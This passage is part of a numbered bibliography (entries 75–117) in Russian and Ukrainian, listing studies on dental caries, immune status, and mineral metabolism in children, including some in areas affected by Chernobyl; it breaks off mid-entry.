75. Иммунный статус у детей с различной интенсивностью кариеса / Л.И.Кочетова, Б.А.Шиф, И.К.Цебере и др. // Стоматология. 1989. № 3. С. 60-63.
76. Иммунный статус, принципы его оценки и коррекции иммунных нарушений / В.Г.Передерий, А.М.Земсков, Н.Т.Бычкова, В.М.Земсков. К.: Здоров’я, 1995. 211 с.
77. Иммунологические нарушения у населения Курской области через 6 лет после Чернобыльской катастрофы и пути их коррекции / К.А.Лебедев, И.Д.Понякина, Г.И.Моховиков и др. // Физиология человека. 1994. Т. 15, № 2. С. 114-128.
78. Иммунологические показатели у здоровых детей / З.М.Землякова, Л.А.Матвеева, Е.Б.Кравец, А.А.Ильяных // Вопросы охраны материнства и детства. 1984. Т. 29, № 4. С. 72.
79. К дискуссии о воздействии малых доз ионизирующего излучения / Т.П. Бодаченко, Г.А. Болдаренко, Т.П. Ермаченко и др. //Актуальні питання педагогіки, експериментальної та клінічної медицини: Респ. зб. наук. праць. Донецьк, 1995. Т. 1. С. 43-44.
80. Кабулбеков А.А., Джумадиллаев Д.Н., Демина Т.В. Макро- и микроэлементы при кариесогенном питании и физических нагрузках // Стоматология. 1988. Т. 67, № 4. С. 10-12.
81. Казначеев В.П. Современные аспекты адаптации. Новосибирск: Наука, 1980. 192 с.
82. Каладзе Н.Н., Богадельніков І.В. Імунологічна характеристика дітей різних груп здоров'я, які мешкають у зоні радіонуклідного забруднення // Педіатрія, акушерство та гінекологія. 1994. № 3. С. 21-22.
83. Камалян К.Р. Характеристика прорезывания зубов и обоснование экзогенной кариеспрофилактики у детей: Автореф. дис... канд. мед. наук: 14.00.21 / Киевский медицинский стоматологический институт имени академика А.А. Богомольца. Киев, 1990. 17 с.
84. Касибина А.Ф. Стоматологический статус детей дошкольного возраста в зависимости от течения эмбрионального развития ребенка // Стоматология. 1986. № 6. С. 18-20.
85. Каськова Л.Ф. Біохімічні показники ротової рідини дітей з ураженими карієсом та з інтактними зубами // Український стоматологічний альманах. 2001. № 5. С. 65-67.
86. Каськова Л.Ф. Вміст кальцію та неорганічного фосфору в ротовій рідині у дітей з родин ліквідаторів аварії на ЧАЕС // Український медичний альманах. 2001. Т. 4, № 2. С. 149-151.
87. Каськова Л.Ф., Журавльова Ю.Л. Характеристика ураженості карієсом перших постійних молярів в залежності від одонтогліфіки жувальної поверхні // Проблеми екології та медицини. 2001. Т. 5, № 1-2. С 50-53.
88. Киндий С.В. Профилактика кариеса зубов у детей в условиях высокого содержания фтора в питьевой воде: Автореф. дисканд. мед. наук: 14.00.21 / Калининский медицинский институт. Калинин, 1988. 16с.
89. Кипиани Г.Э. Состояние местного иммунитета при кариесе зубов детей // Стоматология. 1989. № 5. С. 82-83.
90. Кисельникова Л.П. Кариесогенная ситуация у детей школьного возраста и принципы ее устранения // Стоматология. 1992. № 10. С. 14-19.
91. Клиническая эффективность биологически активных добавок у часто болеющих детей раннего и дошкольного возраста // З.С.Макарова, В.А.Доскин, С.Г.Щербакова и др. // Педиатрия. 1994. № 2. С. 75-77.
92. Кобец Т.В. Застосування імунокоректорів у часто хворіючих дітей з урахуванням їх фенотипових особливостей в періоді клінічного благополуччя // Педіатрія, акушерство і гінекологія. 1995. № 2. С. 25-26.
93. Ковалюк И. С., Смоляр Н. И. Активность фосфатазы слюны и крови у людей с интактными и кариозными зубами // Стоматология. 1974. Т. 53, № 3. С. 81-82.
94. Ковач І.В. Стимулювання процесів мінералізації постійних зубів у дітей, мешкаючих в умовах інтенсивної промислової зони: Автореф. дис... канд мед. наук: 14.01.21 / Українська медична стоматологічна академія. Полтава, 1995. 19 с.
95. Ковязина С.Б. Эффективность общей патогенетической терапии острых форм кариеса // Кариес зуба и иммунологическое состояние организма. Казань, 1979. С. 53-68.
96. Кодола Н.А. Микроэлементы в профилактике кариеса зубов. Киев: Здоров'я, 1979. 159 с.
97. Колб В. Г., Камышников В. С. Справочник по клинической химии. Минск: Беларусь, 1982. 367 с.
98. Колесник А.Г., Пилат Т.Л. Химические средства профилактики кариеса зубов // Стоматология. 1989. № 6. С. 86-91.
99. Комплекс экспресс-микрометодов оценки общего и местного иммунитета для практической стоматологии / Т. Г. Робустова, К. А. Лебедев, И. Д. Понякина и др. // Стоматология. 1990. № 2. С. 22-25.
100. Косарева Л.И. Метод клинической оценки структур функциональной резистентности эмали и его применение в систем диспансеризации школьников: Автореф. дис... канд. мед. наук: 14.00.21. Киев, 1983. 24 с.
101. Косенко К.М. Епідеміологія основних стоматологічних захворювань у населення України і шляхи їх профілактики: Автореф. дис...д-ра. мед. наук: 14.00.21. Одеса, 1993. 45 с.
102. Косенко К.Н., Скульская С.В. Интенсивность кариеса и состояние минерального обмена в полости рта часто болеющих детей // Вісник стоматології . 2000. №5 (29). С. 101-102.
103. Косенко К.Н., Скульская С.В., Мороз О.В. Иммунный статус и интенсивность кариеса у часто болеющих детей // Вісник стоматології. 2001. № 1 (29). С. 45-47.
104. Косневич М.Я. Опыт диспансеризации детей, страдающих множественным кариесом зубов // Стоматология. 1991. № 6. С. 65-67.
105. Кочетова Л. И. Иммунный статус у детей с различной интенсивностью кариеса и хронического гингивита: Автореф. дис... канд. мед. наук. М., 1988. 23 с.
106. Кошовская В.А. Организация и проведение профилактики кариеса зубов у детей: Автореф. дис... канд. мед. наук: 14.00.21. Харьков, 1975. 22с.
107. Кравец Т.П., Гунченко Л.С. Состояние местного иммунитета полости рта у подростков // Вісник стоматології. 1997. № 3. С. 252-253.
108. Кровякова М.Т. Государственный доклад о санэпидобстановке в Крыму // Таврический медико-биологический вестник. Симферополь, 1999. № 1-2. 31 с.
109. Курякина Н.В. Патология твердых тканей зубов, ее профилактика и лечение с учетом алиментарного фактора: Автореф. дис... д-ра мед. наук: 14.00.21 / Московский медицинский стоматологический институт им. Н.А.Семашко. М., 1993. 28 с.
110. Курякина Н.В. Терапевтическая стоматология детского возраста. М.: Медицинская книга, 2001. С. 232-239.
111. Кухта С.И. Эффективность фтористой профилактики кариеса зубов в различные периоды развития ребенка (у детей дошкольного возраста): Автореф. дис... канд. мед. наук: 14.00.21 / Львовский государственный медицинский институт. Львов, 1971. 15 с.
112. Куцевляк В. И., Денисова Е. Г. Местный иммунитет полости рта при множественном кариесе у детей // Вестник стоматологии. 1998. № 2. С. 61-63.
113. Кучеренко О.М. Вплив антибактеріальних засобів на карієсогенні властивості зубного нальоту: Автореф. дис... канд. мед. наук: 14.01.22 / Українська медична стоматологічна академія. Полтава, 1998. 18 с.
114. Лазарева Д. Н., Алехин Е. К. Стимуляторы иммунитета. М.: Медицииа, 1985. 255 с.
115. Лебедев К.А., Понякина И.Д., Тотолян А.А. Адаптация комплекса методов первичного иммунологического обследования // Лабораторное дело. 1987. № 7. С. 532-536.
116. Лебедев К.А., Понякина И.Д. Дискретно-динамический анализ новый подход к оценке иммунного статуса человека // Иммунология: Итоги науки и техники. М.: ВИНИТИ, 1986. Т. 15. С. 64.
117. Левицкий А.П. Лизоцим вместо антибиотиков. Одесса: издательство К